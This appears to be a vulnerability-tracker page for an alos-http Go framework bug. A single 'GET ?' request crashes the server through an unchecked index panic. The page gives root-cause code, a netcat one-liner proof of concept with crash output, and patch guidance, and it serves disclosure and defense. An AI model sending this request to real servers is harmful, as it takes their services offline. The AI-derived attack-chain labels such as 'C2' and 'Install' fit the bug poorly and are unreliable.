EUVD-2026-67872
GHSA-hr6j-w4mw-g9mj
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSend HTTP request with bare '?' path
-
DeliveryRequest-line parser invokes sanitizeRequestPath
-
ExploitsplitPathQuery returns empty string p
-
InstallUnchecked p[0] index triggers Go runtime panic
-
C2Panic propagates through connection-worker goroutine
-
ExecuteEntire server process terminates
-
ImpactAll client connections dropped
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Exception handling completeness
|
| Exploitation Conditions | No authentication is required and no special server configuration is needed - HTTP/1.1 and HTTP/2 are served by default in all alos-http deployments, and both are vulnerable. The only platform prerequisite is that the target server is running Linux amd64 (the framework does not run on other platforms). HTTP/3 exploitation additionally requires that |
| Impact | The vendor-assigned CVSS 3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) accurately reflects the real-world risk profile: network-reachable, trivially exploitable with zero prerequisites, and producing complete availability loss. A public proof-of-concept (one |
| Exploit ScenarioDerived | An unauthenticated remote attacker sends a single HTTP/1.1 request with the line `GET ? HTTP/1.1 Host: x
|
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
Remote unauthenticated denial-of-service in alos-http, a Linux amd64 Go web framework, allows any network-reachable client to crash the entire server process with a single malformed HTTP request. The flaw exists in the request-line parser's sanitizeRequestPath function, which performs an unchecked index into an empty string after stripping a bare query-string path such as GET ? HTTP/1.1. Because the panic fires in the connection-worker goroutine before the handler chain, the framework's own core.Recovery() middleware cannot intercept it, making the crash total and immediate. A publicly available proof-of-concept exploit exists; the vulnerability is not currently listed in the CISA KEV catalog.
RemediationAI
The vendor has released a patch in commit 314b6783e19698c85ea9d9b197ff52f7f6a3a374, corresponding to Go pseudo-version 0.0.0-20260617230736-314b6783e196. Operators should update their go.mod dependency to reference this version or later using go get github.com/guno1928/alos-http@314b6783e196 and rebuild. The patch reference is https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374. For deployments that cannot patch immediately, placing a validating reverse proxy (such as nginx) in front of the alos-http process to reject or normalize HTTP requests with malformed request-line paths (specifically, bare ? or empty paths) is the most effective compensating control; note that this adds an infrastructure layer and introduces a single point of failure if the proxy itself is misconfigured. There is no application-level workaround within alos-http itself, since the crash point is architecturally unreachable by core.Recovery(). No other workarounds are confirmed by available data.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
alos-http is a Linux amd64-only Go web framework built around a custom io_uring networking stack supporting HTTP/1.1, HTTP/2, and optional HTTP/3 over QUIC. The root cause is CWE-248 (Uncaught Exception): in core/utils.go::sanitizeRequestPath, the function calls splitPathQuery on the raw path, which returns an empty string p when the path consists solely of ?. It then unconditionally evaluates p[0], producing a Go runtime index-out-of-range panic. Go runtime panics that are not recovered within the same goroutine propagate and terminate the process. Because this parser runs in the connection-worker goroutine - prior to any handler or middleware dispatch - no application-level recover() wrapper can intercept it. The affected CPE is pkg:go/github.com_guno1928_alos-http. Vulnerable call sites span HTTP/1.1 (h1_plain.go::ParseH1RequestHead), HTTP/2 (hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader), and HTTP/3 (h3_conn.go::handleRequestStream).
Know when Nginx gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Network-reachable with no auth or user interaction on default configs; pure availability impact (full process crash) with no confidentiality or integrity consequence.
Primary rating from Vendor (https://github.com/guno1928/alos-http).
CVSS VectorVendor: https://github.com/guno1928/alos-http
DescriptionCVE.org
Summary
A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled
Details
root cause: core/utils.go::sanitizeRequestPath
// assume path := "?"
if len(path) == 0 { // len(path) == 1
return "/"
}
p, _ := splitPathQuery(path) // p == ""
if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
return p
}- when the path starts with "?" len(path) is not 0 so the early return does not fire
- after
splitPathQuerypis empty"" pis then indexedp[0]without a length check
Relevant calling sites:
h1_plain.go:ParseH1RequestHead(HTTP/1.1)h1.go::ParseH1Request(dead code)hpack.go::decodeSimpleGetPathHTTPSRequest(HTTP/2)hpack.go::observeHeader(HTTP/2)h3_conn.go::handleRequestStream(HTTP/3)
these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic
PoC
Minimal server, using the quick-start
srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())Crash it with a single request
printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080Server output & crash
2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0
goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
/home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
/home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2all subsequent requests now fail, since the server is down
Impact
Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
Technical POC Analysis
CWE-248 (Uncaught Exception), secondary CWE-754.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
alos-http web framework deployments are vulnerable to unauthenticated denial-of-service attacks that crash entire servers with single malformed requests, threatening service availability for any production application using this framework. Organizations face immediate business continuity risk depending on the criticality of affected services. Patches are available and should be deployed within days to eliminate this exposure.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cau
A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescap
An issue was discovered on GL.iNet devices before version 4.5.0. Rated critical severity (CVSS 9.8), this vulnerability
Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range fi
The resolver in nginx before 1.8.1 and 1.9.x before 1.9.10 allows remote attackers to cause a denial of service (invalid
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Rated critical severity (CVSS 9.8
The STARTTLS implementation in mail/ngx_mail_smtp_handler.c in the SMTP proxy in nginx 1.5.x and 1.6.x before 1.6.1 and
Exploit-DB